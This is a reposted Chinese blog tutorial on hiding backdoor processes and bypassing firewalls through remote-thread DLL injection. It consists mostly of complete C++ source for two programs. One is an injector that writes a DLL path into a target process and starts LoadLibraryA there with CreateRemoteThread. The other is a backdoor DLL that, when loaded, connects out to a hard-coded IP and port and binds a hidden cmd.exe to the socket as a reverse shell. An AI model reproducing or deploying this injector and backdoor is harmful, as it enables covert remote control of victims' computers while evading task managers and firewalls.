安全之路 —— 利用远程线程注入的方法(使用DLL)实现穿墙与隐藏进程

Posted peterz1997

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全之路 —— 利用远程线程注入的方法(使用DLL)实现穿墙与隐藏进程相关的知识,希望对你有一定的参考价值。

简介

       大多数后门或病毒要想初步实现隐藏进程,即不被像任务管理器这样典型的RING3级进程管理器找到过于明显的不明进程,其中比较著名的方法就是通过远程线程注入的方法注入将恶意进程的DLL文件注入系统认可的正常进程,你会发现任务管理器以及找不到独立出现的恶意进程项了。反向连接型后门采用这种技术,注入防火墙认可的进程(例如大部分系统进程,像explorer.exe就很常见)还能够获得一定的穿墙效果

        进程注入虽然已经是将近10年前的技术了,但是今天出现的很多新型黑客技术大多数还是基于这类老技术演变而来的。


C++代码样例

1.进程注入工具源码:

//////////////////////////////////////
//
// FileName : injectDll.cpp
// Creator : PeterZ1997
// Date : 2018-5-15 23:58
// Comment : DLL inject module
//
//////////////////////////////////////

#pragma once
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <strsafe.h>
#include <windows.h>
#include <tlhelp32.h>

using namespace std;

#define MAX_COUNT 255

/**
 * @brief 提高进程权限
 * @param name   权限名
 */
BOOL EnableDebugPriv(LPCSTR name)
{
    HANDLE hToken;
    LUID luid;
    TOKEN_PRIVILEGES tp;
    // 打开进程令牌
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        printf("[!]Get Process Token Error!
");
        return false;
    }
    // 获取权限Luid
    if (!LookupPrivilegeValue(NULL, name, &luid))
    {
        printf("[!]Get Privilege Error!
");
        return false;
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    // 修改进程权限
    if (!AdjustTokenPrivileges(hToken, false, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
    {
        printf("[!]Adjust Privilege Error!
");
        return false;
    }
    return true;
}

/**
 * @brief 进程注入函数
 * @param pid            进程id
 * @param dllFileName    DLL文件的完整路径
 */
BOOL InjectDllProc(DWORD pid, LPCTSTR dllFileName)
{
    HANDLE hRemoteProcess;
    CHAR *pszDllSpace;
    if (!EnableDebugPriv(SE_DEBUG_NAME))
    {
        return false;
    }
    if ((hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid)) == NULL)
    {
        printf("[!]Open Target Process Error!
");
        return false;
    }
    if ((pszDllSpace = (CHAR*)VirtualAllocEx(hRemoteProcess, NULL, strlen(dllFileName) + 1, MEM_COMMIT, PAGE_READWRITE)) == NULL)
    {
        printf("[!]Alloc Space Error!
");
        return false;
    }
    if (WriteProcessMemory(hRemoteProcess, pszDllSpace, (LPVOID)dllFileName, strlen(dllFileName) + 1, NULL) == 0)
    {
        printf("[!]Write to the Memory Error!
");
        return false;
    }
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA");
    if (pfnStartAddr == NULL)
    {
        printf("[!]Get <LoadLibrary> Function Error!
");
        return false;
    }
    HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszDllSpace, 0, NULL);
    if (hRemoteThread == NULL)
    {
        printf("[!]Create Remote Thread Error!
");
        return false;
    }
    return true;
}

/**
 * @brief 获取进程id
 * @param procName  进程名
 */
DWORD GetProcPid(LPCSTR procName)
{
    DWORD pid = 0;
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);
    HANDLE hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcSnap == INVALID_HANDLE_VALUE)
    {
        printf("[!]Can not Create Process Snap !
");
        return -1;
    }
    BOOL bProc = Process32First(hProcSnap, &pe32);
    while (bProc)
    {
        if (!stricmp(procName, pe32.szExeFile))
        {
            return pe32.th32ProcessID;
        }
        bProc = Process32Next(hProcSnap, &pe32);
    }
    CloseHandle(hProcSnap);
    return pid;
}

/**
 * @brief 主函数
 */
int main(int argc, char* argv[])
{
    CHAR dllPath[MAX_COUNT] = "";
    WIN32_FIND_DATA wfd;
    if (argc != 3)
    {
        printf("[*Usage*] injectDll.exe <Process Name> <Dll Name>
");
        return 0;
    }
    GetCurrentDirectory(sizeof(dllPath), dllPath);
    StringCchCat(dllPath, sizeof(dllPath), "\");
    StringCchCat(dllPath, sizeof(dllPath), argv[2]);
    if (FindFirstFile(argv[2], &wfd) == INVALID_HANDLE_VALUE)
    {
        printf("[!] Can not Find Dll File !
");
        return 0;
    }
    DWORD pid = GetProcPid(argv[1]);
    if (pid != -1)
    {
        if (!InjectDllProc(pid, dllPath))
        {
            printf("[!]Inject Dll Error!
");
            return 0;
        }
        printf("[*]Inject Dll Success!
");
    }
    else
    {
        printf("[*]Inject Dll Error!
");
        return 0;
    }
    return 0;
}



2.Dll文件样例源码:

/////////////////////////////////////////////
//
// FileName : BackDoorDLL.cpp
// Creator : PeterZ1997
// Date : 2018-5-11 00:10
// Comment : 零管道后门DLL
//
////////////////////////////////////////////

#pragma once
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <strsafe.h>
#include <WinSock2.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")

using namespace std;

#define MAX_COUNT 255

/**
 * @brief 启动Cmd进程,与socket实例通信
 * @param lpParameter    多线程函数参数,此为传入socket实例
 */
DWORD WINAPI StartShellProc(LPVOID lpParameter)
{
    CHAR cmdLine[MAX_COUNT] = "";
    SOCKET sServer = (SOCKET)lpParameter;
    STARTUPINFO si;
    GetStartupInfo(&si);
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sServer;
    GetSystemDirectory(cmdLine, sizeof(cmdLine));
    StringCchCat(cmdLine, sizeof(cmdLine), "\cmd.exe");
    PROCESS_INFORMATION pi;
    CreateProcess(NULL, cmdLine, NULL, NULL, true, 0, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    return 0;
}

/**
 * @brief socket建立函数
 * @param lpParameter    多线程函数参数,这里传入NULL
 */
DWORD WINAPI BackDoorThread(LPVOID lpParameter)
{
    CHAR szMessage[MAX_COUNT] = "===========> Hello,Admin <=============
";
    WSADATA wsd;
    SOCKET sServer;
    sockaddr_in sin;
    if (WSAStartup(0x0202, &wsd)) return 0;
    if ((sServer = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) == INVALID_SOCKET)
    {
        return 0;
    }
    sin.sin_family = AF_INET;
    sin.sin_port = htons(45000);
    sin.sin_addr.S_un.S_addr = inet_addr("192.168.120.1");
    if (connect(sServer, (sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
    {
        return 0;
    }
    if (send(sServer, szMessage, strlen(szMessage), 0) == SOCKET_ERROR)
    {
        return 0;
    }
    HANDLE hThread = CreateThread(NULL, 0, StartShellProc, (LPVOID)sServer, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

/**
 * @brief DLL文件主函数
 */
BOOL WINAPI DllMain(
    _In_ HINSTANCE hinstDLL,
    _In_ DWORD     fdwReason,
    _In_ LPVOID    lpvReserved
)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, 0, BackDoorThread, NULL, 0, NULL);
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return true;
}





以上是关于安全之路 —— 利用远程线程注入的方法(使用DLL)实现穿墙与隐藏进程的主要内容,如果未能解决你的问题,请参考以下文章

Win32 利用远程线程注入dll

Win32 利用远程线程注入dll

Dll注入:X86/X64 远程线程CreateRemoteThread 注入

Windows x86/ x64 Ring3层注入Dll总结

远程线程DLL注入, 如何释放DLL和结束DLL的线程

[Re] 安全知识点